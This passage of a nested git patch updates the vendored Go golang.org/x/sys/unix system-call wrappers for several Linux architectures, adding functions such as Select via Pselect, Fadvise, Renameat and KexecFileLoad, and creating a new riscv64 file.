-+ return EpollCreate1(0)
-+}
-+
- //sys EpollWait(epfd int, events []EpollEvent, msec int) (n int, err error) = SYS_EPOLL_PWAIT
-+//sys Fadvise(fd int, offset int64, length int64, advice int) (err error) = SYS_FADVISE64
- //sys Fchown(fd int, uid int, gid int) (err error)
- //sys Fstat(fd int, stat *Stat_t) (err error)
- //sys Fstatat(fd int, path string, stat *Stat_t, flags int) (err error)
-@@ -20,11 +30,20 @@ package unix
- //sys Listen(s int, n int) (err error)
- //sys Pread(fd int, p []byte, offset int64) (n int, err error) = SYS_PREAD64
- //sys Pwrite(fd int, p []byte, offset int64) (n int, err error) = SYS_PWRITE64
-+//sys Renameat(olddirfd int, oldpath string, newdirfd int, newpath string) (err error)
- //sys Seek(fd int, offset int64, whence int) (off int64, err error) = SYS_LSEEK
--//sys Select(nfd int, r *FdSet, w *FdSet, e *FdSet, timeout *Timeval) (n int, err error) = SYS_PSELECT6
-+
-+func Select(nfd int, r *FdSet, w *FdSet, e *FdSet, timeout *Timeval) (n int, err error) {
-+ var ts *Timespec
-+ if timeout != nil {
-+ ts = &Timespec{Sec: timeout.Sec, Nsec: timeout.Usec * 1000}
-+ }
-+ return Pselect(nfd, r, w, e, ts, nil)
-+}
-+
- //sys sendfile(outfd int, infd int, offset *int64, count int) (written int, err error)
--//sys Setfsgid(gid int) (err error)
--//sys Setfsuid(uid int) (err error)
-+//sys setfsgid(gid int) (prev int, err error)
-+//sys setfsuid(uid int) (prev int, err error)
- //sysnb Setregid(rgid int, egid int) (err error)
- //sysnb Setresgid(rgid int, egid int, sgid int) (err error)
- //sysnb Setresuid(ruid int, euid int, suid int) (err error)
-@@ -48,6 +67,11 @@ func Lstat(path string, stat *Stat_t) (err error) {
- //sys Statfs(path string, buf *Statfs_t) (err error)
- //sys SyncFileRange(fd int, off int64, n int64, flags int) (err error)
- //sys Truncate(path string, length int64) (err error)
-+
-+func Ustat(dev int, ubuf *Ustat_t) (err error) {
-+ return ENOSYS
-+}
-+
- //sys accept(s int, rsa *RawSockaddrAny, addrlen *_Socklen) (fd int, err error)
- //sys accept4(s int, rsa *RawSockaddrAny, addrlen *_Socklen, flags int) (fd int, err error)
- //sys bind(s int, addr unsafe.Pointer, addrlen _Socklen) (err error)
-@@ -66,23 +90,26 @@ func Lstat(path string, stat *Stat_t) (err error) {
- //sys sendmsg(s int, msg *Msghdr, flags int) (n int, err error)
- //sys mmap(addr uintptr, length uintptr, prot int, flags int, fd int, offset int64) (xaddr uintptr, err error)
-
--func Getpagesize() int { return 65536 }
--
- //sysnb Gettimeofday(tv *Timeval) (err error)
-
--func TimespecToNsec(ts Timespec) int64 { return int64(ts.Sec)*1e9 + int64(ts.Nsec) }
-+func setTimespec(sec, nsec int64) Timespec {
-+ return Timespec{Sec: sec, Nsec: nsec}
-+}
-
--func NsecToTimespec(nsec int64) (ts Timespec) {
-- ts.Sec = nsec / 1e9
-- ts.Nsec = nsec % 1e9
-- return
-+func setTimeval(sec, usec int64) Timeval {
-+ return Timeval{Sec: sec, Usec: usec}
- }
-
--func NsecToTimeval(nsec int64) (tv Timeval) {
-- nsec += 999 // round up to microsecond
-- tv.Sec = nsec / 1e9
-- tv.Usec = nsec % 1e9 / 1e3
-- return
-+func futimesat(dirfd int, path string, tv *[2]Timeval) (err error) {
-+ if tv == nil {
-+ return utimensat(dirfd, path, nil, 0)
-+ }
-+
-+ ts := []Timespec{
-+ NsecToTimespec(TimevalToNsec(tv[0])),
-+ NsecToTimespec(TimevalToNsec(tv[1])),
-+ }
-+ return utimensat(dirfd, path, (*[2]Timespec)(unsafe.Pointer(&ts[0])), 0)
- }
-
- func Time(t *Time_t) (Time_t, error) {
-@@ -105,6 +132,18 @@ func Utime(path string, buf *Utimbuf) error {
- return Utimes(path, tv)
- }
-
-+func utimes(path string, tv *[2]Timeval) (err error) {
-+ if tv == nil {
-+ return utimensat(AT_FDCWD, path, nil, 0)
-+ }
-+
-+ ts := []Timespec{
-+ NsecToTimespec(TimevalToNsec(tv[0])),
-+ NsecToTimespec(TimevalToNsec(tv[1])),
-+ }
-+ return utimensat(AT_FDCWD, path, (*[2]Timespec)(unsafe.Pointer(&ts[0])), 0)
-+}
-+
- func Pipe(p []int) (err error) {
- if len(p) != 2 {
- return EINVAL
-@@ -141,6 +180,10 @@ func (msghdr *Msghdr) SetControllen(length int) {
- msghdr.Controllen = uint64(length)
- }
-
-+func (msghdr *Msghdr) SetIovlen(length int) {
-+ msghdr.Iovlen = uint64(length)
-+}
-+
- func (cmsg *Cmsghdr) SetLen(length int) {
- cmsg.Len = uint64(length)
- }
-@@ -153,30 +196,11 @@ func Dup2(oldfd int, newfd int) (err error) {
- return Dup3(oldfd, newfd, 0)
- }
-
--func Pause() (err error) {
-- _, _, e1 := Syscall6(SYS_PPOLL, 0, 0, 0, 0, 0, 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
-+func Pause() error {
-+ _, err := ppoll(nil, 0, nil, nil)
-+ return err
- }
-
--// TODO(dfc): constants that should be in zsysnum_linux_arm64.go, remove
--// these when the deprecated syscalls that the syscall package relies on
--// are removed.
--const (
-- SYS_GETPGRP = 1060
-- SYS_UTIMES = 1037
-- SYS_FUTIMESAT = 1066
-- SYS_PAUSE = 1061
-- SYS_USTAT = 1070
-- SYS_UTIME = 1063
-- SYS_LCHOWN = 1032
-- SYS_TIME = 1062
-- SYS_EPOLL_CREATE = 1042
-- SYS_EPOLL_WAIT = 1069
--)
--
- func Poll(fds []PollFd, timeout int) (n int, err error) {
- var ts *Timespec
- if timeout >= 0 {
-@@ -188,3 +212,16 @@ func Poll(fds []PollFd, timeout int) (n int, err error) {
- }
- return ppoll(&fds[0], len(fds), ts, nil)
- }
-+
-+//sys kexecFileLoad(kernelFd int, initrdFd int, cmdlineLen int, cmdline string, flags int) (err error)
-+
-+func KexecFileLoad(kernelFd int, initrdFd int, cmdline string, flags int) error {
-+ cmdlineLen := len(cmdline)
-+ if cmdlineLen > 0 {
-+ // Account for the additional NULL byte added by
-+ // BytePtrFromString in kexecFileLoad. The kexec_file_load
-+ // syscall expects a NULL-terminated string.
-+ cmdlineLen++
-+ }
-+ return kexecFileLoad(kernelFd, initrdFd, cmdlineLen, cmdline, flags)
-+}
-diff --git a/vendor/golang.org/x/sys/unix/syscall_linux_gc.go b/vendor/golang.org/x/sys/unix/syscall_linux_gc.go
-new file mode 100644
-index 00000000..c26e6ec2
---- /dev/null
-+++ b/vendor/golang.org/x/sys/unix/syscall_linux_gc.go
-@@ -0,0 +1,14 @@
-+// Copyright 2018 The Go Authors. All rights reserved.
-+// Use of this source code is governed by a BSD-style
-+// license that can be found in the LICENSE file.
-+
-+// +build linux,!gccgo
-+
-+package unix
-+
-+// SyscallNoError may be used instead of Syscall for syscalls that don't fail.
-+func SyscallNoError(trap, a1, a2, a3 uintptr) (r1, r2 uintptr)
-+
-+// RawSyscallNoError may be used instead of RawSyscall for syscalls that don't
-+// fail.
-+func RawSyscallNoError(trap, a1, a2, a3 uintptr) (r1, r2 uintptr)
-diff --git a/vendor/golang.org/x/sys/unix/syscall_linux_gc_386.go b/vendor/golang.org/x/sys/unix/syscall_linux_gc_386.go
-new file mode 100644
-index 00000000..070bd389
---- /dev/null
-+++ b/vendor/golang.org/x/sys/unix/syscall_linux_gc_386.go
-@@ -0,0 +1,16 @@
-+// Copyright 2018 The Go Authors. All rights reserved.
-+// Use of this source code is governed by a BSD-style
-+// license that can be found in the LICENSE file.
-+
-+// +build linux,!gccgo,386
-+
-+package unix
-+
-+import "syscall"
-+
-+// Underlying system call writes to newoffset via pointer.
-+// Implemented in assembly to avoid allocation.
-+func seek(fd int, offset int64, whence int) (newoffset int64, err syscall.Errno)
-+
-+func socketcall(call int, a0, a1, a2, a3, a4, a5 uintptr) (n int, err syscall.Errno)
-+func rawsocketcall(call int, a0, a1, a2, a3, a4, a5 uintptr) (n int, err syscall.Errno)
-diff --git a/vendor/golang.org/x/sys/unix/syscall_linux_gccgo_386.go b/vendor/golang.org/x/sys/unix/syscall_linux_gccgo_386.go
-new file mode 100644
-index 00000000..308eb7ae
---- /dev/null
-+++ b/vendor/golang.org/x/sys/unix/syscall_linux_gccgo_386.go
-@@ -0,0 +1,30 @@
-+// Copyright 2018 The Go Authors. All rights reserved.
-+// Use of this source code is governed by a BSD-style
-+// license that can be found in the LICENSE file.
-+
-+// +build linux,gccgo,386
-+
-+package unix
-+
-+import (
-+ "syscall"
-+ "unsafe"
-+)
-+
-+func seek(fd int, offset int64, whence int) (int64, syscall.Errno) {
-+ var newoffset int64
-+ offsetLow := uint32(offset & 0xffffffff)
-+ offsetHigh := uint32((offset >> 32) & 0xffffffff)
-+ _, _, err := Syscall6(SYS__LLSEEK, uintptr(fd), uintptr(offsetHigh), uintptr(offsetLow), uintptr(unsafe.Pointer(&newoffset)), uintptr(whence), 0)
-+ return newoffset, err
-+}
-+
-+func socketcall(call int, a0, a1, a2, a3, a4, a5 uintptr) (int, syscall.Errno) {
-+ fd, _, err := Syscall(SYS_SOCKETCALL, uintptr(call), uintptr(unsafe.Pointer(&a0)), 0)
-+ return int(fd), err
-+}
-+
-+func rawsocketcall(call int, a0, a1, a2, a3, a4, a5 uintptr) (int, syscall.Errno) {
-+ fd, _, err := RawSyscall(SYS_SOCKETCALL, uintptr(call), uintptr(unsafe.Pointer(&a0)), 0)
-+ return int(fd), err
-+}
-diff --git a/vendor/golang.org/x/sys/unix/syscall_linux_gccgo_arm.go b/vendor/golang.org/x/sys/unix/syscall_linux_gccgo_arm.go
-new file mode 100644
-index 00000000..aa7fc9e1
---- /dev/null
-+++ b/vendor/golang.org/x/sys/unix/syscall_linux_gccgo_arm.go
-@@ -0,0 +1,20 @@
-+// Copyright 2018 The Go Authors. All rights reserved.
-+// Use of this source code is governed by a BSD-style
-+// license that can be found in the LICENSE file.
-+
-+// +build linux,gccgo,arm
-+
-+package unix
-+
-+import (
-+ "syscall"
-+ "unsafe"
-+)
-+
-+func seek(fd int, offset int64, whence int) (int64, syscall.Errno) {
-+ var newoffset int64
-+ offsetLow := uint32(offset & 0xffffffff)
-+ offsetHigh := uint32((offset >> 32) & 0xffffffff)
-+ _, _, err := Syscall6(SYS__LLSEEK, uintptr(fd), uintptr(offsetHigh), uintptr(offsetLow), uintptr(unsafe.Pointer(&newoffset)), uintptr(whence), 0)
-+ return newoffset, err
-+}
-diff --git a/vendor/golang.org/x/sys/unix/syscall_linux_mips64x.go b/vendor/golang.org/x/sys/unix/syscall_linux_mips64x.go
-index 73318e5c..af77e6e2 100644
---- a/vendor/golang.org/x/sys/unix/syscall_linux_mips64x.go
-+++ b/vendor/golang.org/x/sys/unix/syscall_linux_mips64x.go
-@@ -8,7 +8,9 @@
- package unix
-
- //sys Dup2(oldfd int, newfd int) (err error)
-+//sysnb EpollCreate(size int) (fd int, err error)
- //sys EpollWait(epfd int, events []EpollEvent, msec int) (n int, err error)
-+//sys Fadvise(fd int, offset int64, length int64, advice int) (err error) = SYS_FADVISE64
- //sys Fchown(fd int, uid int, gid int) (err error)
- //sys Fstatfs(fd int, buf *Statfs_t) (err error)
- //sys Ftruncate(fd int, length int64) (err error)
-@@ -22,11 +24,20 @@ package unix
- //sys Pause() (err error)
- //sys Pread(fd int, p []byte, offset int64) (n int, err error) = SYS_PREAD64
- //sys Pwrite(fd int, p []byte, offset int64) (n int, err error) = SYS_PWRITE64
-+//sys Renameat(olddirfd int, oldpath string, newdirfd int, newpath string) (err error)
- //sys Seek(fd int, offset int64, whence int) (off int64, err error) = SYS_LSEEK
--//sys Select(nfd int, r *FdSet, w *FdSet, e *FdSet, timeout *Timeval) (n int, err error) = SYS_PSELECT6
-+
-+func Select(nfd int, r *FdSet, w *FdSet, e *FdSet, timeout *Timeval) (n int, err error) {
-+ var ts *Timespec
-+ if timeout != nil {
-+ ts = &Timespec{Sec: timeout.Sec, Nsec: timeout.Usec * 1000}
-+ }
-+ return Pselect(nfd, r, w, e, ts, nil)
-+}
-+
- //sys sendfile(outfd int, infd int, offset *int64, count int) (written int, err error)
--//sys Setfsgid(gid int) (err error)
--//sys Setfsuid(uid int) (err error)
-+//sys setfsgid(gid int) (prev int, err error)
-+//sys setfsuid(uid int) (prev int, err error)
- //sysnb Setregid(rgid int, egid int) (err error)
- //sysnb Setresgid(rgid int, egid int, sgid int) (err error)
- //sysnb Setresuid(ruid int, euid int, suid int) (err error)
-@@ -37,6 +48,7 @@ package unix
- //sys Statfs(path string, buf *Statfs_t) (err error)
- //sys SyncFileRange(fd int, off int64, n int64, flags int) (err error)
- //sys Truncate(path string, length int64) (err error)
-+//sys Ustat(dev int, ubuf *Ustat_t) (err error)
- //sys accept(s int, rsa *RawSockaddrAny, addrlen *_Socklen) (fd int, err error)
- //sys accept4(s int, rsa *RawSockaddrAny, addrlen *_Socklen, flags int) (fd int, err error)
- //sys bind(s int, addr unsafe.Pointer, addrlen _Socklen) (err error)
-@@ -55,8 +67,7 @@ package unix
- //sys sendmsg(s int, msg *Msghdr, flags int) (n int, err error)
- //sys mmap(addr uintptr, length uintptr, prot int, flags int, fd int, offset int64) (xaddr uintptr, err error)
-
--func Getpagesize() int { return 65536 }
--
-+//sys futimesat(dirfd int, path string, times *[2]Timeval) (err error)
- //sysnb Gettimeofday(tv *Timeval) (err error)
-
- func Time(t *Time_t) (tt Time_t, err error) {
-@@ -72,20 +83,14 @@ func Time(t *Time_t) (tt Time_t, err error) {
- }
-
- //sys Utime(path string, buf *Utimbuf) (err error)
-+//sys utimes(path string, times *[2]Timeval) (err error)
-
--func TimespecToNsec(ts Timespec) int64 { return int64(ts.Sec)*1e9 + int64(ts.Nsec) }
--
--func NsecToTimespec(nsec int64) (ts Timespec) {
-- ts.Sec = nsec / 1e9
-- ts.Nsec = nsec % 1e9
-- return
-+func setTimespec(sec, nsec int64) Timespec {
-+ return Timespec{Sec: sec, Nsec: nsec}
- }
-
--func NsecToTimeval(nsec int64) (tv Timeval) {
-- nsec += 999 // round up to microsecond
-- tv.Sec = nsec / 1e9
-- tv.Usec = nsec % 1e9 / 1e3
-- return
-+func setTimeval(sec, usec int64) Timeval {
-+ return Timeval{Sec: sec, Usec: usec}
- }
-
- func Pipe(p []int) (err error) {
-@@ -143,6 +148,7 @@ type stat_t struct {
- }
-
- //sys fstat(fd int, st *stat_t) (err error)
-+//sys fstatat(dirfd int, path string, st *stat_t, flags int) (err error) = SYS_NEWFSTATAT
- //sys lstat(path string, st *stat_t) (err error)
- //sys stat(path string, st *stat_t) (err error)
-
-@@ -153,6 +159,13 @@ func Fstat(fd int, s *Stat_t) (err error) {
- return
- }
-
-+func Fstatat(dirfd int, path string, s *Stat_t, flags int) (err error) {
-+ st := &stat_t{}
-+ err = fstatat(dirfd, path, st, flags)
-+ fillStat_t(s, st)
-+ return
-+}
-+
- func Lstat(path string, s *Stat_t) (err error) {
- st := &stat_t{}
- err = lstat(path, st)
-@@ -195,10 +208,18 @@ func (msghdr *Msghdr) SetControllen(length int) {
- msghdr.Controllen = uint64(length)
- }
-
-+func (msghdr *Msghdr) SetIovlen(length int) {
-+ msghdr.Iovlen = uint64(length)
-+}
-+
- func (cmsg *Cmsghdr) SetLen(length int) {
- cmsg.Len = uint64(length)
- }
-
-+func InotifyInit() (fd int, err error) {
-+ return InotifyInit1(0)
-+}
-+
- //sys poll(fds *PollFd, nfds int, timeout int) (n int, err error)
-
- func Poll(fds []PollFd, timeout int) (n int, err error) {
-diff --git a/vendor/golang.org/x/sys/unix/syscall_linux_mipsx.go b/vendor/golang.org/x/sys/unix/syscall_linux_mipsx.go
-index b83d93fd..e286c6ba 100644
---- a/vendor/golang.org/x/sys/unix/syscall_linux_mipsx.go
-+++ b/vendor/golang.org/x/sys/unix/syscall_linux_mipsx.go
-@@ -15,6 +15,9 @@ import (
- func Syscall9(trap, a1, a2, a3, a4, a5, a6, a7, a8, a9 uintptr) (r1, r2 uintptr, err syscall.Errno)
-
- //sys Dup2(oldfd int, newfd int) (err error)
-+//sysnb EpollCreate(size int) (fd int, err error)
-+//sys EpollWait(epfd int, events []EpollEvent, msec int) (n int, err error)
-+//sys Fadvise(fd int, offset int64, length int64, advice int) (err error) = SYS_FADVISE64
- //sys Fchown(fd int, uid int, gid int) (err error)
- //sys Ftruncate(fd int, length int64) (err error) = SYS_FTRUNCATE64
- //sysnb Getegid() (egid int)
-@@ -25,20 +28,20 @@ func Syscall9(trap, a1, a2, a3, a4, a5, a6, a7, a8, a9 uintptr) (r1, r2 uintptr,
- //sys Listen(s int, n int) (err error)
- //sys Pread(fd int, p []byte, offset int64) (n int, err error) = SYS_PREAD64
- //sys Pwrite(fd int, p []byte, offset int64) (n int, err error) = SYS_PWRITE64
-+//sys Renameat(olddirfd int, oldpath string, newdirfd int, newpath string) (err error)
- //sys Select(nfd int, r *FdSet, w *FdSet, e *FdSet, timeout *Timeval) (n int, err error) = SYS__NEWSELECT
- //sys sendfile(outfd int, infd int, offset *int64, count int) (written int, err error) = SYS_SENDFILE64
--//sys Setfsgid(gid int) (err error)
--//sys Setfsuid(uid int) (err error)
-+//sys setfsgid(gid int) (prev int, err error)
-+//sys setfsuid(uid int) (prev int, err error)
- //sysnb Setregid(rgid int, egid int) (err error)
- //sysnb Setresgid(rgid int, egid int, sgid int) (err error)
- //sysnb Setresuid(ruid int, euid int, suid int) (err error)
--
- //sysnb Setreuid(ruid int, euid int) (err error)
- //sys Shutdown(fd int, how int) (err error)
--//sys Splice(rfd int, roff *int64, wfd int, woff *int64, len int, flags int) (n int64, err error)
--
-+//sys Splice(rfd int, roff *int64, wfd int, woff *int64, len int, flags int) (n int, err error)
- //sys SyncFileRange(fd int, off int64, n int64, flags int) (err error)
- //sys Truncate(path string, length int64) (err error) = SYS_TRUNCATE64
-+//sys Ustat(dev int, ubuf *Ustat_t) (err error)
- //sys accept(s int, rsa *RawSockaddrAny, addrlen *_Socklen) (fd int, err error)
- //sys accept4(s int, rsa *RawSockaddrAny, addrlen *_Socklen, flags int) (fd int, err error)
- //sys bind(s int, addr unsafe.Pointer, addrlen _Socklen) (err error)
-@@ -60,15 +63,17 @@ func Syscall9(trap, a1, a2, a3, a4, a5, a6, a7, a8, a9 uintptr) (r1, r2 uintptr,
- //sys Ioperm(from int, num int, on int) (err error)
- //sys Iopl(level int) (err error)
-
-+//sys futimesat(dirfd int, path string, times *[2]Timeval) (err error)
- //sysnb Gettimeofday(tv *Timeval) (err error)
- //sysnb Time(t *Time_t) (tt Time_t, err error)
-+//sys Utime(path string, buf *Utimbuf) (err error)
-+//sys utimes(path string, times *[2]Timeval) (err error)
-
- //sys Lstat(path string, stat *Stat_t) (err error) = SYS_LSTAT64
- //sys Fstat(fd int, stat *Stat_t) (err error) = SYS_FSTAT64
-+//sys Fstatat(dirfd int, path string, stat *Stat_t, flags int) (err error) = SYS_FSTATAT64
- //sys Stat(path string, stat *Stat_t) (err error) = SYS_STAT64
-
--//sys Utime(path string, buf *Utimbuf) (err error)
--//sys EpollWait(epfd int, events []EpollEvent, msec int) (n int, err error)
- //sys Pause() (err error)
-
- func Fstatfs(fd int, buf *Statfs_t) (err error) {
-@@ -99,19 +104,12 @@ func Seek(fd int, offset int64, whence int) (off int64, err error) {
- return
- }
-
--func TimespecToNsec(ts Timespec) int64 { return int64(ts.Sec)*1e9 + int64(ts.Nsec) }
--
--func NsecToTimespec(nsec int64) (ts Timespec) {
-- ts.Sec = int32(nsec / 1e9)
-- ts.Nsec = int32(nsec % 1e9)
-- return
-+func setTimespec(sec, nsec int64) Timespec {
-+ return Timespec{Sec: int32(sec), Nsec: int32(nsec)}
- }
-
--func NsecToTimeval(nsec int64) (tv Timeval) {
-- nsec += 999 // round up to microsecond
-- tv.Sec = int32(nsec / 1e9)
-- tv.Usec = int32(nsec % 1e9 / 1e3)
-- return
-+func setTimeval(sec, usec int64) Timeval {
-+ return Timeval{Sec: int32(sec), Usec: int32(usec)}
- }
-
- //sysnb pipe2(p *[2]_C_int, flags int) (err error)
-@@ -127,14 +125,13 @@ func Pipe2(p []int, flags int) (err error) {
- return
- }
-
-+//sysnb pipe() (p1 int, p2 int, err error)
-+
- func Pipe(p []int) (err error) {
- if len(p) != 2 {
- return EINVAL
- }
-- var pp [2]_C_int
-- err = pipe2(&pp, 0)
-- p[0] = int(pp[0])
-- p[1] = int(pp[1])
-+ p[0], p[1], err = pipe()
- return
- }
-
-@@ -223,6 +220,10 @@ func (msghdr *Msghdr) SetControllen(length int) {
- msghdr.Controllen = uint32(length)
- }
-
-+func (msghdr *Msghdr) SetIovlen(length int) {
-+ msghdr.Iovlen = uint32(length)
-+}
-+
- func (cmsg *Cmsghdr) SetLen(length int) {
- cmsg.Len = uint32(length)
- }
-@@ -235,5 +236,3 @@ func Poll(fds []PollFd, timeout int) (n int, err error) {
- }
- return poll(&fds[0], len(fds), timeout)
- }
--
--func Getpagesize() int { return 4096 }
-diff --git a/vendor/golang.org/x/sys/unix/syscall_linux_ppc64x.go b/vendor/golang.org/x/sys/unix/syscall_linux_ppc64x.go
-index 60770f62..ca0345aa 100644
---- a/vendor/golang.org/x/sys/unix/syscall_linux_ppc64x.go
-+++ b/vendor/golang.org/x/sys/unix/syscall_linux_ppc64x.go
-@@ -7,10 +7,13 @@
-
- package unix
-
--//sys EpollWait(epfd int, events []EpollEvent, msec int) (n int, err error)
- //sys Dup2(oldfd int, newfd int) (err error)
-+//sysnb EpollCreate(size int) (fd int, err error)
-+//sys EpollWait(epfd int, events []EpollEvent, msec int) (n int, err error)
-+//sys Fadvise(fd int, offset int64, length int64, advice int) (err error) = SYS_FADVISE64
- //sys Fchown(fd int, uid int, gid int) (err error)
- //sys Fstat(fd int, stat *Stat_t) (err error)
-+//sys Fstatat(dirfd int, path string, stat *Stat_t, flags int) (err error) = SYS_NEWFSTATAT
- //sys Fstatfs(fd int, buf *Statfs_t) (err error)
- //sys Ftruncate(fd int, length int64) (err error)
- //sysnb Getegid() (egid int)
-@@ -27,11 +30,12 @@ package unix
- //sys Pause() (err error)
- //sys Pread(fd int, p []byte, offset int64) (n int, err error) = SYS_PREAD64
- //sys Pwrite(fd int, p []byte, offset int64) (n int, err error) = SYS_PWRITE64
-+//sys Renameat(olddirfd int, oldpath string, newdirfd int, newpath string) (err error)
- //sys Seek(fd int, offset int64, whence int) (off int64, err error) = SYS_LSEEK
--//sys Select(nfd int, r *FdSet, w *FdSet, e *FdSet, timeout *Timeval) (n int, err error)
-+//sys Select(nfd int, r *FdSet, w *FdSet, e *FdSet, timeout *Timeval) (n int, err error) = SYS__NEWSELECT
- //sys sendfile(outfd int, infd int, offset *int64, count int) (written int, err error)
--//sys Setfsgid(gid int) (err error)
--//sys Setfsuid(uid int) (err error)
-+//sys setfsgid(gid int) (prev int, err error)
-+//sys setfsuid(uid int) (prev int, err error)
- //sysnb Setregid(rgid int, egid int) (err error)
- //sysnb Setresgid(rgid int, egid int, sgid int) (err error)
- //sysnb Setresuid(ruid int, euid int, suid int) (err error)
-@@ -41,8 +45,8 @@ package unix
- //sys Splice(rfd int, roff *int64, wfd int, woff *int64, len int, flags int) (n int64, err error)
- //sys Stat(path string, stat *Stat_t) (err error)
- //sys Statfs(path string, buf *Statfs_t) (err error)
--//sys SyncFileRange(fd int, off int64, n int64, flags int) (err error) = SYS_SYNC_FILE_RANGE2
- //sys Truncate(path string, length int64) (err error)
-+//sys Ustat(dev int, ubuf *Ustat_t) (err error)
- //sys accept(s int, rsa *RawSockaddrAny, addrlen *_Socklen) (fd int, err error)
- //sys accept4(s int, rsa *RawSockaddrAny, addrlen *_Socklen, flags int) (fd int, err error)
- //sys bind(s int, addr unsafe.Pointer, addrlen _Socklen) (err error)
-@@ -61,26 +65,18 @@ package unix
- //sys sendmsg(s int, msg *Msghdr, flags int) (n int, err error)
- //sys mmap(addr uintptr, length uintptr, prot int, flags int, fd int, offset int64) (xaddr uintptr, err error)
-
--func Getpagesize() int { return 65536 }
--
-+//sys futimesat(dirfd int, path string, times *[2]Timeval) (err error)
- //sysnb Gettimeofday(tv *Timeval) (err error)
- //sysnb Time(t *Time_t) (tt Time_t, err error)
--
- //sys Utime(path string, buf *Utimbuf) (err error)
-+//sys utimes(path string, times *[2]Timeval) (err error)
-
--func TimespecToNsec(ts Timespec) int64 { return int64(ts.Sec)*1e9 + int64(ts.Nsec) }
--
--func NsecToTimespec(nsec int64) (ts Timespec) {
-- ts.Sec = nsec / 1e9
-- ts.Nsec = nsec % 1e9
-- return
-+func setTimespec(sec, nsec int64) Timespec {
-+ return Timespec{Sec: sec, Nsec: nsec}
- }
-
--func NsecToTimeval(nsec int64) (tv Timeval) {
-- nsec += 999 // round up to microsecond
-- tv.Sec = nsec / 1e9
-- tv.Usec = nsec % 1e9 / 1e3
-- return
-+func setTimeval(sec, usec int64) Timeval {
-+ return Timeval{Sec: sec, Usec: usec}
- }
-
- func (r *PtraceRegs) PC() uint64 { return r.Nip }
-@@ -95,6 +91,10 @@ func (msghdr *Msghdr) SetControllen(length int) {
- msghdr.Controllen = uint64(length)
- }
-
-+func (msghdr *Msghdr) SetIovlen(length int) {
-+ msghdr.Iovlen = uint64(length)
-+}
-+
- func (cmsg *Cmsghdr) SetLen(length int) {
- cmsg.Len = uint64(length)
- }
-@@ -133,3 +133,24 @@ func Poll(fds []PollFd, timeout int) (n int, err error) {
- }
- return poll(&fds[0], len(fds), timeout)
- }
-+
-+//sys syncFileRange2(fd int, flags int, off int64, n int64) (err error) = SYS_SYNC_FILE_RANGE2
-+
-+func SyncFileRange(fd int, off int64, n int64, flags int) error {
-+ // The sync_file_range and sync_file_range2 syscalls differ only in the
-+ // order of their arguments.
-+ return syncFileRange2(fd, flags, off, n)
-+}
-+
-+//sys kexecFileLoad(kernelFd int, initrdFd int, cmdlineLen int, cmdline string, flags int) (err error)
-+
-+func KexecFileLoad(kernelFd int, initrdFd int, cmdline string, flags int) error {
-+ cmdlineLen := len(cmdline)
-+ if cmdlineLen > 0 {
-+ // Account for the additional NULL byte added by
-+ // BytePtrFromString in kexecFileLoad. The kexec_file_load
-+ // syscall expects a NULL-terminated string.
-+ cmdlineLen++
-+ }
-+ return kexecFileLoad(kernelFd, initrdFd, cmdlineLen, cmdline, flags)
-+}
-diff --git a/vendor/golang.org/x/sys/unix/syscall_linux_arm64.go b/vendor/golang.org/x/sys/unix/syscall_linux_riscv64.go
-similarity index 68%
-copy from vendor/golang.org/x/sys/unix/syscall_linux_arm64.go
-copy to vendor/golang.org/x/sys/unix/syscall_linux_riscv64.go
-index 4a136396..abdabbac 100644
---- a/vendor/golang.org/x/sys/unix/syscall_linux_arm64.go
-+++ b/vendor/golang.org/x/sys/unix/syscall_linux_riscv64.go
-@@ -1,12 +1,22 @@
--// Copyright 2015 The Go Authors. All rights reserved.
-+// Copyright 2018 The Go Authors. All rights reserved.
- // Use of this source code is governed by a BSD-style
- // license that can be found in the LICENSE file.
-
--// +build arm64,linux
-+// +build riscv64,linux
-
- package unix
-
-+import "unsafe"
-+
-+func EpollCreate(size int) (fd int, err error) {
-+ if size <= 0 {
-+ return -1, EINVAL
-+ }
-+ return EpollCreate1(0)
-+}
-+
- //sys EpollWait(epfd int, events []EpollEvent, msec int) (n int, err error) = SYS_EPOLL_PWAIT
-+//sys Fadvise(fd int, offset int64, length int64, advice int) (err error) = SYS_FADVISE64
- //sys Fchown(fd int, uid int, gid int) (err error)
- //sys Fstat(fd int, stat *Stat_t) (err error)
- //sys Fstatat(fd int, path string, stat *Stat_t, flags int) (err error)
-@@ -21,10 +31,18 @@ package unix
- //sys Pread(fd int, p []byte, offset int64) (n int, err error) = SYS_PREAD64
- //sys Pwrite(fd int, p []byte, offset int64) (n int, err error) = SYS_PWRITE64
- //sys Seek(fd int, offset int64, whence int) (off int64, err error) = SYS_LSEEK
--//sys Select(nfd int, r *FdSet, w *FdSet, e *FdSet, timeout *Timeval) (n int, err error) = SYS_PSELECT6
-+
-+func Select(nfd int, r *FdSet, w *FdSet, e *FdSet, timeout *Timeval) (n int, err error) {
-+ var ts *Timespec
-+ if timeout != nil {
-+ ts = &Timespec{Sec: timeout.Sec, Nsec: timeout.Usec * 1000}
-+ }
-+ return Pselect(nfd, r, w, e, ts, nil)
-+}
-+
- //sys sendfile(outfd int, infd int, offset *int64, count int) (written int, err error)
--//sys Setfsgid(gid int) (err error)
--//sys Setfsuid(uid int) (err error)
-+//sys setfsgid(gid int) (prev int, err error)
-+//sys setfsuid(uid int) (prev int, err error)
- //sysnb Setregid(rgid int, egid int) (err error)
- //sysnb Setresgid(rgid int, egid int, sgid int) (err error)
- //sysnb Setresuid(ruid int, euid int, suid int) (err error)
-@@ -48,6 +66,11 @@ func Lstat(path string, stat *Stat_t) (err error) {
- //sys Statfs(path string, buf *Statfs_t) (err error)
- //sys SyncFileRange(fd int, off int64, n int64, flags int) (err error)
- //sys Truncate(path string, length int64) (err error)
-+
-+func Ustat(dev int, ubuf *Ustat_t) (err error) {
-+ return ENOSYS
-+}
-+
- //sys accept(s int, rsa *RawSockaddrAny, addrlen *_Socklen) (fd int, err error)
- //sys accept4(s int, rsa *RawSockaddrAny, addrlen *_Socklen, flags int) (fd int, err error)
- //sys bind(s int, addr unsafe.Pointer, addrlen _Socklen) (err error)
-@@ -66,23 +89,26 @@ func Lstat(path string, stat *Stat_t) (err error) {
- //sys sendmsg(s int, msg *Msghdr, flags int) (n int, err error)
- //sys mmap(addr uintptr, length uintptr, prot int, flags int, fd int, offset int64) (xaddr uintptr, err error)
-
--func Getpagesize() int { return 65536 }
--
- //sysnb Gettimeofday(tv *Timeval) (err error)
-
--func TimespecToNsec(ts Timespec) int64 { return int64(ts.Sec)*1e9 + int64(ts.Nsec) }
